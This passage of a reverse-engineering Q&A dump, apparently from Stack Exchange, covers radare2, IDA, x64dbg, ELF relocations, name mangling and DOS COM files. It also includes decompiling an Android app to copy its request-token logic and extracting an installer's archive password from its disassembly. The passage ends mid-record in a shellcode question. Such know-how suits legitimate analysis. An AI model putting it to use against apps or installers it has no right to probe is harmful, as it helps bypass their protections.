        "Body": "<p>I can't figure out what <code>afl</code> actually outputs. The docs are surprisingly uninformative.</p>\n\n<p>So, I've got address on the first column and symbol on the last. <strong>What is on the 2nd, 3rd and 4th columns?</strong></p>\n\n<p><strong>Example:</strong></p>\n\n<pre><code>:&gt; afl\n0x08048000   29 988  -&gt; 937  segment.LOAD0\n0x080483dc    3 35           func_5\n0x08048410    1 6            sym.imp.fgets\n0x08048420    1 6            sym.imp.fclose\n0x08048430    1 6            sym.imp.fwrite\n0x08048440    1 6            sym.imp.puts\n0x08048450    1 6            loc.imp.__gmon_start\n0x08048460    1 6            sym.imp.exit\n0x08048470    1 6            sym.imp.__libc_start_main\n0x08048480    1 6            sym.imp.fopen\n0x08048490    1 6            sym.imp.fileno\n0x080484a0    1 6            sym.imp.ptrace\n0x080484b0    1 33           entry0\n0x080484e0    1 4            func_3\n0x080484f0    4 42           func_4\n0x08048642    4 51           func_1\n0x08048675   10 83           func_2\n0x080486c8    4 194          main\n</code></pre>\n",
        "Title": "What is the info displayed by radare2's afl?",
        "Tags": "|tools|radare2|",
        "Answer": "<p>First, I'll answer your question straightly:</p>\n\n<ul>\n<li>2nd column: The number of <a href=\"https://en.wikipedia.org/wiki/Basic_block\" rel=\"noreferrer\">basic blocks</a> in the function</li>\n<li>3rd column: The size of the function (in bytes)</li>\n<li>4th column: The function's name</li>\n</ul>\n\n<p>You might have used \"4th\" to spot the number that comes after the \"->\". If this is the case, where there is a \"->\" the left number is the <em>range</em> of the function where on the right you can find the <em>size</em> of the function. It happens only when the range and the size are different.</p>\n\n<hr>\n\n<p>But now for a more generic approach. As you noticed, some commands of radare2 would not show you the column headers of the table, just as your example with the <code>afl</code> command. So what can you do to show this information? </p>\n\n<h2>Use the JSON output</h2>\n\n<p>Simply, use the JSON representation of the output. Most of radare2's informative commands can be appended with a j to format the output as JSON. Add ~{} to format the output with JSON indention for readability:</p>\n\n<p>So for example:</p>\n\n<pre><code>[0x00400430]&gt; aflj~{}                   \n[                                       \n  {                                     \n    \"offset\": 4195272,                  \n    \"name\": \"sym._init\",                \n    \"size\": 26,                         \n    \"realsz\": 26,                       \n    \"cc\": 2,                            \n    \"cost\": 12,                         \n    \"nbbs\": 3,                          \n    \"edges\": 3,                         \n    \"ebbs\": 1,                          \n    \"calltype\": \"amd64\",                \n    \"type\": \"sym\",                      \n    \"minbound\": \"4195272\",              \n    \"maxbound\": \"4195298\",              \n    \"range\": \"26\",                      \n    \"diff\": \"NEW\",    \n    ...\n    ...               \n</code></pre>\n\n<p>As you can see, radare presents us with a simple JSON output that contains the headers (keys) for each value. You can easily understand what each column is, using the header name which is corresponding to the output without <code>j</code>.</p>\n\n<h2>Use a more verbose command</h2>\n\n<p>An alternative for <code>afl</code> is <code>afll</code>. It will list the functions of the binary in a verbose mode and in an easy to understand table:</p>\n\n<pre><code>[0x00400430]&gt; afll\naddress            size  nbbs edges    cc cost          min bound range max bound          calls locals args xref frame name\n================== ==== ===== ===== ===== ==== ================== ===== ================== ===== ====== ==== ==== ===== ====\n0x004003c8   26     3     3     2   12 0x004003c8    26 0x004003e2     1    0      0    1     8 sym._init\n0x00400400    6     1     0     1    3 0x00400400     6 0x00400406     0    0      0    1     0 sym.imp.puts\n0x00400410    6     1     0     1    3 0x00400410     6 0x00400416     0    0      0    1     0 sym.imp.__libc_start_main\n0x00400420    6     1     0     1    3 0x00400420     6 0x00400426     0    0      0    1     0 sub.__gmon_start_420\n0x00400430   41     1     0     1   15 0x00400430    41 0x00400459     1    0      0    0     8 entry0\n0x00400460   41     4     4     2   20 0x00400460    50 0x00400492     0    0      0    1     8 sym.deregister_tm_clones\n0x004004a0   53     3     2    -1   20 0x004004a0    53 0x004004d5     0    0      0    2     8 sym.register_tm_clones\n0x004004e0   28     3     3     2   14 0x004004e0    28 0x004004fc     1    0      0    0     0 sym.__do_global_dtors_aux\n0x00400500   35     4     6     4   19 0x00400500    38 0x00400526     0    0      0    0     8 entry1.init\n0x00400526   21     1     0     1   12 0x00400526    21 0x0040053b     1    0      0    1     8 sym.main\n0x00400540  101     4     5     3   49 0x00400540   101 0x004005a5     1    0      0    1    56 sym.__libc_csu_init\n0x004005b0    2     1     0     1    3 0x004005b0     2 0x004005b2     0    0      0    1     0 sym.__libc_csu_fini\n0x004005b4    9     1     0     1    5 0x004005b4     9 0x004005bd     0    0      0    0     8 sym._fini\n</code></pre>\n\n<p><code>afll</code> listed the functions but this time it showed you the columns' header name.</p>\n"
    },
    {
        "Id": "18607",
        "CreationDate": "2018-06-26T16:11:52.953",
        "Body": "<p>Lets say an Android application sends out a traffic out to the server and expects a Json Response</p>\n\n<p>Request:</p>\n\n<pre><code>https://server:port/userid=user1&amp;token=randomstring7345\n</code></pre>\n\n<p>We want to replicate the traffic using python library now, the 'randomstring7345' keeps changing everytime, there is a function logic inside the application which generates it on the fly.</p>\n\n<p>If this was a web application we would have used chrome network tab to do a stack trace once the traffic is generated and then use technical breakpoints to find out the Javascript code which generates the 'randomstring7345'. How can we do the same in Android. first step would be to decompile the application apk I guess and then how do we proceed from there to find out the exact function/logic? </p>\n\n<p>what I am trying to do.</p>\n\n<ul>\n<li>reverse engineer an android apk (bit novice here) </li>\n<li>create a python library to automate the apk api calls (i can do this once i get the equivalent android code logic)</li>\n</ul>\n\n<p>for sake of simplicity, lets say there is an flight reservation android app</p>\n\n<p>Here is the flow:</p>\n\n<ul>\n<li>open the apk, which presents a login screen (user | pass)</li>\n<li>once you click login you get a Json reply from server a. {Fail: Wrong pass} or b. {Success: login_tokenID}</li>\n<li>now I put sourceAirport as A DestinationAirport as B and flydate '2018-06-09' and click on Confirm</li>\n</ul>\n\n<p>The traffic that goes out:</p>\n\n<pre><code>https://myflights.com:port/userid=user1&amp;token=login_tokenID&amp;accesstoken=8833456&amp;from=A&amp;to=b&amp;date=2018-06-09\n</code></pre>\n\n<p>Server sends back Json\na. {Fail : Choose another date}\nb. {Success: confirmed}</p>\n\n<p>note the flow here the app computes internally accesstoken=8833456 which it supplies in the request else server wont respond to it. I need to find exactly where this logic resides in the app so that I can replicate it.</p>\n",
        "Title": "Android Reverse Engineering Network Traffic Stack Trace",
        "Tags": "|android|java|decompile|apk|callstack|",
        "Answer": "<p>Hello you can start with the following approach: </p>\n\n<ol>\n<li>Decompile the apk file with <a href=\"https://ibotpeaches.github.io/Apktool/\" rel=\"nofollow noreferrer\">apktool</a>  </li>\n<li>convert classes.dex to .jar with <a href=\"https://github.com/pxb1988/dex2jar\" rel=\"nofollow noreferrer\">dex2jar</a></li>\n<li>open the file with some java decompiler. My favorite is <a href=\"https://github.com/deathmarine/Luyten\" rel=\"nofollow noreferrer\">Luyten</a></li>\n<li>Find the specific function </li>\n</ol>\n\n<pre>\n$ apktool d app-uat-release.apk -s -o dex\n$ cd dex\n$ d2j-dex2jar classes.dex \ndex2jar classes.dex -> classes-dex2jar.jar\n$ java -jar /path/to/Luyten.jar classes-dex2jar.jar\n</pre>\n\n<p>I can point you in the right direction, but to this i need to know what exactly you want to do.</p>\n"
    },
    {
        "Id": "18618",
        "CreationDate": "2018-06-27T18:39:09.260",
        "Body": "<p>Let's say I have a byte sequence where <code>U</code> is an unsigned int (4 bytes), and <code>ccccccccccccccc</code> is a 15 byte character array</p>\n\n<pre><code>UcccccccccccccccU\n</code></pre>\n\n<p>Is it possible to print this structure using <code>pf</code>? I can print this with </p>\n\n<pre><code>pf i;\nps 15 @ 4;\npf i @ 19;\n</code></pre>\n\n<p>If both of those integers were next to each other, I could do <code>pf ii</code>, and what I would like to do is something like <code>pf is15i</code> -- which doesn't work because <code>s</code> is for <code>* char[]</code> to a string, and not a char array.</p>\n\n<p>If I do something like <code>pf 5c</code>, I get them outputted as single characters (ex.,)</p>\n\n<pre><code>0x00000008 [0] {\n  0x00000008 = '6'\n}\n0x00000009 [1] {\n  0x00000009 = '0'\n}\n0x0000000a [2] {\n  0x0000000a = '0'\n}\n</code></pre>\n",
        "Title": "How do you print fixed width strings with radare's print format `pf`?",
        "Tags": "|radare2|strings|",
        "Answer": "<p>To understand how to use <code>pf</code> the way you want, we should go over it step-by-step.</p>\n\n<p>I opened an empty memory for a radare2 playground:</p>\n\n<pre><code>$ r2 malloc://200\n[0x00000000]&gt;\n</code></pre>\n\n<p>Next, I wrote date to this playground, inspired by your example:</p>\n\n<pre><code>[0x00000000]&gt; wx AABBCCDD @ 0\n[0x00000000]&gt; w ccccccccccccccc @ 4\n[0x00000000]&gt; wx 11223344 @ 19\n</code></pre>\n\n<p>Basically, I wrote 4 bytes, followed by 15 characters and then other 4 bytes. This is how it looks in the memory:</p>\n\n<pre><code>[0x00000000]&gt; px 32\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x00000000  aabb ccdd 6363 6363 6363 6363 6363 6363  ....cccccccccccc\n0x00000010  6363 6311 2233 4400 0000 0000 0000 0000  ccc.\"3D.........\n</code></pre>\n\n<p>To print this structure I did something like this:</p>\n\n<pre><code>[0x00000000]&gt; pf x[15]zx\n0x00000000 = 0xddccbbaa\n0x00000004 = ccccccccccccccc\n0x00000013 = 0x44332211\n</code></pre>\n\n<p>As you already know, <code>pf</code> is used to print formatted data. By using <code>pf??</code> and <code>pf???</code> you can see examples and understand each part of my command. </p>\n\n<p>You can use <code>i</code> instead of <code>x</code> if you want to print integers.</p>\n\n<pre><code>[0x00000000]&gt; pf i[15]zi 1st 2nd third\n   1st : 0x00000000 = -573785174\n   2nd : 0x00000004 = ccccccccccccccc\n third : 0x00000013 = 1144201745\n</code></pre>\n\n<p>My structure consists of 4 parts:</p>\n\n<ul>\n<li><code>pf</code> command</li>\n<li><code>x</code> where <code>x</code> is being used to print hex value (of 4 bytes)</li>\n<li><code>[15]z</code> to print 15 characters of a string</li>\n<li><code>x</code> to print another hex value</li>\n</ul>\n\n<p>You can also name the fields:</p>\n\n<pre><code>[0x00000000]&gt; pf x[15]zx 1st 2nd third\n   1st : 0x00000000 = 0xddccbbaa\n   2nd : 0x00000004 = ccccccccccccccc\n third : 0x00000013 = 0x44332211\n</code></pre>\n\n<p>You can use other format characters such as <code>e</code> to swap endians, etc</p>\n"
    },
    {
        "Id": "18620",
        "CreationDate": "2018-06-27T22:30:33.190",
        "Body": "<p>I've stumbled upon Inno Setup installer with additional separate Arc archives (commonly with <code>.bin</code> extension) that I was unable to extract using normal methods:</p>\n\n<ol>\n<li>the installer didn't work for an obscure reason (e.g.\n<code>Runtime Error (at -1:0): Cannot Import EXTRACTFILENAME.</code>),</li>\n<li>extracting the Arc file with FreeArc was impossible due to <code>ERROR: unsupported compression method srep</code>,</li>\n<li>also, the archive was apparently password-protected (trying to open it with FreeArc UI resulted in <em>Enter decryption password</em> dialog box).</li>\n</ol>\n\n<p>How can one deal with such a situation?</p>\n",
        "Title": "How to unpack Inno Setup bundles with Arc+SREP data?",
        "Tags": "|disassembly|decompilation|unpacking|executable|",
        "Answer": "<p>There are three main steps here:</p>\n\n<ol>\n<li>you'll have to decompile/dissect the IS installer itself; the easiest way is to use <a href=\"https://vdisasm.com/isd/\" rel=\"nofollow noreferrer\">Inno Setup Decompiler</a> ; essentially, you'll need to get <code>CompiledCode.bin</code> from your <code>.exe</code> file, and then disasm it, possibly finding a code that handles the unpacking - it usually calls <code>ISArcExtract</code> or a similar library function, and is placed in a method named <code>CURSTEPCHANGED</code>.</li>\n<li>you have to get SREP (SuperREP) extractor (for more info, see e.g. <a href=\"http://krinkels.org/resources/superrep-srep.107/\" rel=\"nofollow noreferrer\">http://krinkels.org/resources/superrep-srep.107/</a> and <a href=\"https://www.fileforums.com/showthread.php?p=460707\" rel=\"nofollow noreferrer\">https://www.fileforums.com/showthread.php?p=460707</a>) - the easiest way is to get a pack called <code>SrepInside0.33.7z</code> (available for download in various places), as it has all the required files bundled (essentially, you'll get an <code>unarc.exe</code> with <code>CLS-srep.dll</code> lib and <code>cls.ini</code> config).</li>\n<li>in your Inno Setup's disassembly, locate the variable that holds the password itself (in case of <code>ISArcExtract</code> it's the 7th parameter passed), and pass it to your <code>unarc</code> call - note that it may contain non-printable characters (e.g. &lt;32 ASCII codes), so that passing the password using a script is advisable.</li>\n</ol>\n\n<p>Note that there are different versions/variants to both Arc and SREP; the above method should work in most cases, though.</p>\n"
    },
    {
        "Id": "18622",
        "CreationDate": "2018-06-27T23:01:15.020",
        "Body": "<p>I'm using Radare to print out some information on blobs, essentially I'm running</p>\n\n<pre><code>radare2 -c \"pf ... \" ./myblob.bin\n</code></pre>\n\n<p>I would like radare to edit after it runs that <code>-c</code>. </p>\n",
        "Title": "Radare -c but exit afterward",
        "Tags": "|radare2|",
        "Answer": "<p>Radare calls this \"quite mode\" and provides two options,</p>\n\n<pre><code>-q    quiet mode (no prompt) and quit after -i\n-Q    quiet mode (no prompt) and quit faster (quickLeak=true)\n</code></pre>\n\n<p>You can use them like this,</p>\n\n<pre><code>radare2 -qc \"pf ... \" ./myblob.bin\n</code></pre>\n\n<p>This will also suppress the annoying trivia/witty insult thing.</p>\n\n<p>For a follow up question about -Q leaking, </p>\n\n<ul>\n<li><a href=\"https://reverseengineering.stackexchange.com/q/18624/22669\">Radare <code>-Q</code> leaking, and does it even matter?</a></li>\n</ul>\n"
    },
    {
        "Id": "18627",
        "CreationDate": "2018-06-28T12:40:49.370",
        "Body": "<p>I have a .so from an Android JNI/NDK application. Here are two of its sections:</p>\n\n<pre><code>[Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n[10] .rel.plt          REL             001c9034 1c9034 00c928 08  AI  3  11  4\n[11] .plt              PROGBITS        001d595c 1d595c 012dd0 00  AX  0   0  4\n</code></pre>\n\n<p>Based on the Info parameter of <code>.rel.plt</code>, I would expect the relocations it contains to affect the contents of the <code>.plt</code> section. However, the addresses in the relocations are all to much higher addresses:</p>\n\n<pre><code>Relocation section '.rel.plt' at offset 0x1c9034 contains 6437 entries:\n Offset     Info    Type                Sym. Value  Symbol's Name\n00e1bb6c  00000216 R_ARM_JUMP_SLOT        00000000   __cxa_atexit@LIBC\n00e1bb70  00000116 R_ARM_JUMP_SLOT        00000000   __cxa_finalize@LIBC\n00e1bb74  00000316 R_ARM_JUMP_SLOT        00a0f8c5   _Znwj\n00e1bb78  00000416 R_ARM_JUMP_SLOT        00a0f941   _ZdlPv\n00e1bb7c  00000516 R_ARM_JUMP_SLOT        00a1886d   __gxx_personality_v0\n00e1bb80  00000716 R_ARM_JUMP_SLOT        00000000   __stack_chk_fail@LIBC\n00e1bb84  00000b16 R_ARM_JUMP_SLOT        009ed201   _ZNSt6__ndk16chrono12system_clock3nowEv\n</code></pre>\n\n<p>Those addresses fall into the range of the <code>.got</code> and <code>.data</code> sections. This is a shared object, so the offsets should be virtual address based rather than section based, and the <a href=\"http://infocenter.arm.com/help/topic/com.arm.doc.ihi0044f/IHI0044F_aaelf.pdf\" rel=\"nofollow noreferrer\">ELF for the ARM Architecture</a> says:</p>\n\n<blockquote>\n  <p>The ELF standard requires that the GOT-generating relocations of the PLT are emitted into a contiguous sub-range of the dynamic relocation section. That sub-range is denoted by the standard tags DT_JMPREL and DT_PLTRELSZ.  The type of relocations (RELor RELA) is stored in the DT_PLTREL tag.</p>\n</blockquote>\n\n<p>Am I misunderstanding what the offset of these relocations applies to? Or perhaps what \"GOT-generating relocations\" means?</p>\n",
        "Title": "Why would an ELF SHT_REL section contain relocations outside the section its sh_info refers to?",
        "Tags": "|binary-analysis|arm|elf|",
        "Answer": "<p>My mistake was in treating the addresses in the relocations' addresses based on the sections' <em>offsets</em> (<code>sh_offset</code>) and not their <em>addresses</em> (<code>sh_addr</code>) to determine where they pointed. Correcting this misunderstanding, the relocations all address entries in the GOT which address the PLT, as expected.</p>\n"
    },
    {
        "Id": "18632",
        "CreationDate": "2018-06-29T04:57:58.580",
        "Body": "<p>I am analyzing a macOS app with radare2, and the app depends on a number of Qt frameworks. When I printed out the import symbols of the app's main executable, the names of the frameworks' functions have strange characters in them. </p>\n\n<p>For example, if a framework exports a function name: <code>QLocalServer::listen(QStringconst&amp;)</code>, it becomes <code>_sym.imp._ZN12QLocalServer6listenERK7QString</code> in the main executable's imports.</p>\n\n<p>Another example: \n<code>QNetworkProxyFactory::setUseSystemConfiguration(bool)</code> becomes\n<code>sym.imp._ZN20QNetworkProxyFactory25setUseSystemConfigurationEb</code></p>\n\n<p>Can anyone explain why there are those characters? I don't see those characters when analyzing the export functions of the frameworks. </p>\n",
        "Title": "Import symbols containing strange characters",
        "Tags": "|radare2|macos|",
        "Answer": "<p>These \"weird\" names are produced by the compiler and are called Name Mangling or Name Decoration. These names are shown by radare2 but are not produced or generated by it.</p>\n\n<p>To quote from <a href=\"https://msdn.microsoft.com/en-us/library/56h2zst2.aspx\" rel=\"noreferrer\">MSDN</a>:</p>\n\n<blockquote>\n  <p>Functions, data, and objects in C and C++ programs are represented\n  internally by their decorated names. A decorated name is an encoded\n  string created by the compiler during compilation of an object, data,\n  or function definition. It records calling conventions, types,\n  function parameters and other information together with the name. This\n  name decoration, also known as name mangling, helps the linker find\n  the correct functions and objects when linking an executable.</p>\n</blockquote>\n\n<p>The Wikipedia article about Name Mangling has <a href=\"https://en.wikipedia.org/wiki/Name_mangling#Complex_example\" rel=\"noreferrer\">some great examples</a> of Name Mangling of C++ produced by GCC. I suggest you read it thoroughly to understand the subject better. It explains how mangled names are produced and describes the structure of it.</p>\n\n<hr>\n\n<p>radare2, just as many different Disassemblers, knows to <strong>de</strong>mangle the different names. There are several configuration variables that handle Name Mangling:</p>\n\n<pre><code>asm.demangle: Show demangled symbols in disasm\nbin.demangle: Import demangled symbols from RBin\nbin.demanglecmd: run xcrun swift-demangle and similar if available (SLOW)\nbin.lang: Language for bin.demangle\n</code></pre>\n\n<p>So if you want radare2 to show you the demangled names on the assembly, use <code>e asm.demangle = true</code>. Make sure to tell radare2 to load the demangled symbols. You can do this by setting <code>e bin.demangle</code> to true. You might need to load the binary again - use <code>oo</code> for this.</p>\n\n<p>If you just want to demangle a specific name, you can use <code>iD &lt;lang&gt; &lt;name&gt;</code> which will demangle a symbol name for a specific language. Just use it like this: <code>iD cxx &lt;mangled name&gt;</code> for C++ Name Mangling.</p>\n"
    },
    {
        "Id": "18635",
        "CreationDate": "2018-06-29T10:01:57.537",
        "Body": "<p>when you click <code>String references</code> in x64dbg, it only lists strings from current module/file. Is that possible to search strings in multiple (selected) files/modules?</p>\n",
        "Title": "Search strings in multiple files/processes/modules (x64dbg)",
        "Tags": "|x64dbg|",
        "Answer": "<p>From what I know you can search for <code>String references</code> in all modules.<br>\nThe way is: right click ---> search for ---> all modules ---> String references\n<a href=\"https://i.stack.imgur.com/rs1ud.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/rs1ud.png\" alt=\"enter image description here\"></a>\n<a href=\"https://i.stack.imgur.com/fUUSv.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/fUUSv.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "18642",
        "CreationDate": "2018-06-29T23:44:12.440",
        "Body": "<p>I've got an hexdump of COM MSDOS 8086 file, and I'm trying to transform it to COM executable.</p>\n\n<p>After looking around, I found a site<a href=\"https://onlinedisassembler.com/\" rel=\"nofollow noreferrer\">1</a> that gives reasonable disassembly of the hexdump. Although, when I try to use that assembly generated code in a TASM, it doesn't build, and throw errors.</p>\n\n<p>In contrast, I tried also to use IDA, and it does not seem to get the same assembly result as <a href=\"https://onlinedisassembler.com/\" rel=\"nofollow noreferrer\">1</a>.</p>\n\n<p>My questions are:</p>\n\n<ol>\n<li>Is there any other way that I'm missing in transforming hexdump into an executable COM file?</li>\n<li><a href=\"https://onlinedisassembler.com/\" rel=\"nofollow noreferrer\">The site</a> gives me expressions like: <code>mov    $0x400,%di</code> , but TASM only recognize <code>mov di,400</code>. Is that a better way to translate the hexdumps into instructions that TASM will recognize?</li>\n</ol>\n\n<p>BTW - The context is that I'm trying to solve an RE riddle, which I cannot post online (and I'm a pretty newbie in RE and assembly).</p>\n",
        "Title": "How to create executable COM file from hexdump code of msdos 8086",
        "Tags": "|dos-com|",
        "Answer": "<p>DOS COM files do not have any structure or headers; they are loaded into memory by DOS as-is and are executed from the first byte, so you just need to convert hex bytes to binary to get a COM file.</p>\n\n<p>The difference you see is likely caused by the processor mode setting; <code>mov di, 400h</code> in 16-bit mode and and <code>mov edi, 0x400</code> in 32-bit mode have exactly the same opcode.</p>\n\n<p>IDA knows that COM files are 16-bit code and disassembles them accordingly, but ODA seems to default to 32-bit mode. To force 16-bit disassembly, select i8086 in the Mode combo box.</p>\n"
    },
    {
        "Id": "18650",
        "CreationDate": "2018-07-01T02:20:43.510",
        "Body": "<p>I have a piece of malware dumped by segments. A lot of the data section seems to be screwed up when loaded into IDA Pro.</p>\n\n<p>First of all, pointers are stored in a single array which is incorrect. I want these to be separated and each value have their own pointer which I can xref across the db. Instead of seeing them accessed as <code>array[ index ]</code> which is too hard to keep track of and impossible to xref correctly.</p>\n\n<p><a href=\"https://i.stack.imgur.com/SFYky.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SFYky.png\" alt=\"array\"></a></p>\n\n<p>Next, many floating point values ( represented in hex ) are stored like this instead of as a single hex number. I want these values to represent 0x3d4c0cc0cd ( 0.05 ).</p>\n\n<p><a href=\"https://i.stack.imgur.com/nwsdM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nwsdM.png\" alt=\"floats\"></a>\nI'm not all that familiar with IDA and I'm wondering if there is a way to fix this ( preferably in bulk instead of me having to go through each value one by one )</p>\n",
        "Title": "Fixing up data sections of a malware sample in IDA database?",
        "Tags": "|ida|dumping|",
        "Answer": "<p>IDA, as an <em>interactive</em> disassembler allows you to change how data is displayed to fit the actual meaning and usage. Although IDA tries to infer data types (among other things) it is not always successful.</p>\n\n<p>Generally, you can place the cursor on a data item or operand and either right click or use the Edit menu.</p>\n\n<p>For example, to address your second issue and to set a data type to a floating point number you'll need to place your cursor on it and click the Edit->Operand->Number->Floating point submenu.</p>\n\n<p>Your first issue is a little more tricky. If the code in front of you uses an offset in an array to get different pointers, there's  no easy and clean way to hide that, and there shouldn't be.</p>\n\n<p>Unlike the floating point case, this time IDA inferred data <em>correctly</em>, and I do not recommend hiding that information from the user (aka you). Instead, you may wanna write a short IDAPython script that would add comments according to the pointer used, as well as actually take the time to understand what those indices mean.</p>\n\n<p>Creating a structure and applying it to the array, giving names to each offset, is something I often do. You can also create an enum with indices named by the pointer's function.\n<em>If I misunderstood and IDA did infer the pointers array incorrectly please  correct me and make it clearer in your question.</em></p>\n"
    },
    {
        "Id": "18669",
        "CreationDate": "2018-07-02T19:25:58.360",
        "Body": "<p>I want to make type libraries from Windows 10 SDK and DDK version 16299 and/or 17134. I saw this tutorial <a href=\"https://www.hex-rays.com/products/ida/5.3/tilib.txt\" rel=\"noreferrer\">TILIB - utility to create type libraries for IDA</a>. Then I downloaded it from <a href=\"https://www.hex-rays.com/products/ida/support/download.shtml\" rel=\"noreferrer\">IDA Support: Download Center</a> and placed it in IDA installation folder i.e. <code>C:\\program files\\ida</code>. I tried with both SDK and DDK but both failed. Here are the outputs:</p>\n\n<ul>\n<li>SDK:</li>\n</ul>\n\n\n\n<pre><code>$&gt;tilib64.exe -c -h\"C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17134.0\\um\\Windows.h\" abc.til\nError C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17134.0\\um\\Windows.h,1: Can't open include file 'winapifamily.h'\n</code></pre>\n\n<ul>\n<li>DDK:</li>\n</ul>\n\n\n\n<pre><code>$&gt;tilib64.exe -c -h\"C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17134.0\\km\\wdm.h\" abc.til\nError C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.17134.0\\km\\wdm.h,38: #error: Compiler version not supported by Windows DDK\n</code></pre>\n\n<p>Am I doing anything wrong? Should I add other header and lib files? What is the proper way to make a type libraries for Windows 10?</p>\n",
        "Title": "How to make type libraries from Windows 10 SDK and DDK?",
        "Tags": "|ida|windows|",
        "Answer": "<ul>\n<li><p><strong>Requirements:</strong> Here I used <code>tilb64.exe</code> from IDA SDK for making 64bit type library. IDA installation folder is <code>E:\\IDA70</code> and Windows SDK and DDK version 10.0.17134.0. </p></li>\n<li><p><strong>Options used:</strong> The following two batch files are: one for SDK and one for DDK. Copy the code in .bat or .cmd file. Edit the necessary paths for your IDA and SDK/DDK. </p></li>\n</ul>\n\n\n\n<pre><code>-c     create til-file\n-h...  parse .h file\n-D...  define a symbol\n-I...  list of include directories\n-e     ignore errors\n</code></pre>\n\n<h2>Windows.h header file:</h2>\n\n<pre><code>@echo off\ncls\nset ver=10.0.17134.0\nset folder=%ProgramFiles(x86)%\\Windows Kits\\10\\Include\\%ver%\nE:\\IDA70\\tilib64.exe -c ^\n-Cc1 ^\n-D_MSC_VER=1914 ^\n-D_MSC_FULL_VER=191426433 ^\n-D_WIN32_WINNT=0x0A00 ^\n-DNTDDI_VERSION=WDK_NTDDI_VERSION ^\n-DWDK_NTDDI_VERSION=NTDDI_WIN10_RS4 ^\n-DNTDDI_WIN10_RS4=0x0A000005 ^\n-D_WIN32 ^\n-D_AMD64_ ^\n-D_M_AMD64 ^\n-D_inline=inline ^\n-D__inline=inline ^\n-D__forceinline=inline ^\n-Dbool=uint8_t ^\n-DSIZE_T=size_t ^\n-DPSIZE_T=size_t* ^\n-h\"%folder%\\um\\Windows.h\" ^\n-I\"%folder%\\cppwinrt\\winrt\" ^\n-I\"%folder%\\km\" ^\n-I\"%folder%\\km\\crt\" ^\n-I\"%folder%\\shared\" ^\n-I\"%folder%\\ucrt\" ^\n-I\"%folder%\\um\" ^\n-I\"%folder%\\winrt\" ^\n-e ^\nWindows_17134.til\n</code></pre>\n\n<h2>ntddk.h header file:</h2>\n\n<pre><code>@echo off\ncls\nset ver=10.0.17134.0\nset folder=%ProgramFiles(x86)%\\Windows Kits\\10\\Include\\%ver%\nE:\\IDA70\\tilib64.exe -c ^\n-Cc1 ^\n-D_MSC_VER=1914 ^\n-D_MSC_FULL_VER=191426433 ^\n-D_WIN32_WINNT=0x0A00 ^\n-DNTDDI_VERSION=WDK_NTDDI_VERSION ^\n-DWDK_NTDDI_VERSION=NTDDI_WIN10_RS4 ^\n-DNTDDI_WIN10_RS4=0x0A000005 ^\n-D_WIN32 ^\n-D_AMD64_ ^\n-D_M_AMD64 ^\n-D_inline=inline ^\n-D__inline=inline ^\n-D__forceinline=inline ^\n-D__volatile=volatile ^\n-Dbool=uint8_t ^\n-DRC_INVOKED ^\n-D_INC_STRING ^\n-h\"%folder%\\km\\ntddk.h\" ^\n-I\"%folder%\\cppwinrt\\winrt\" ^\n-I\"%folder%\\km\" ^\n-I\"%folder%\\km\\crt\" ^\n-I\"%folder%\\shared\" ^\n-I\"%folder%\\ucrt\" ^\n-I\"%folder%\\um\" ^\n-I\"%folder%\\winrt\" ^\n-e ^\nntddk_17134.til\n</code></pre>\n\n<ul>\n<li><strong>Notes:</strong> The include folder (with <code>-I</code> option) may change in future. The definitions (with <code>-D</code> option) are added by judging the conditional <code>#define</code> in corresponding header files. Add more definition until you satisfied. But there are many syntax errors in header files which are suppressed with <code>-e</code> option. Those can be remove only by editing every header files but that is more time consuming and tedious.</li>\n</ul>\n"
    },
    {
        "Id": "18670",
        "CreationDate": "2018-07-03T02:17:50.677",
        "Body": "<p>I was just debugging something in IDA and it told me that the instruction pointer was pointing into the middle of an instruction, and asked if I would like to have it disassemble the middle of the instruction. In my particular case I never want to do that, so I checked \"don't ask me again\", but then I clicked yes accidentally, so now it's redefining my code and throwing away my carefully written comments every time I step. How do I reset this?</p>\n",
        "Title": "How do I reset the \"don't ask me again\" checkbox in an IDA popup?",
        "Tags": "|ida|",
        "Answer": "<p>Go to <code>Windows -&gt; Reset hidden messages</code>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/EBfgz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EBfgz.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/HGopO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HGopO.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "18675",
        "CreationDate": "2018-07-03T19:44:34.923",
        "Body": "<p>I'm currently trying to understand a peculiar behaviour with a shellcode. When reaching a MOV instruction just before an interrupt the shellcode get modified:</p>\n\n<p><img src=\"https://i.stack.imgur.com/TiyW2.png\" alt=\"radare2 output\"></p>\n\n<p>As you can see on the radare2 output, my shellcode is still there before the mov instruction, but once I step into it all the shellcode seems scrambled. I tried this shellcode on an ubuntu virtualbox VM.</p>\n\n<p>The target binary is taken from RPISEC <a href=\"https://github.com/RPISEC/MBE/blob/master/src/lab03/lab3B.c\" rel=\"nofollow noreferrer\">lab3B</a>.</p>\n\n<p>The shellcode come from pwntools, I tested it first directly from the lib and it works on the VM. I'm wondering how executing a mov instruction can have such an impact especially since I'm not getting any sigsev.</p>\n",
        "Title": "Shellcode issue",
        "Tags": "|x86|exploit|",
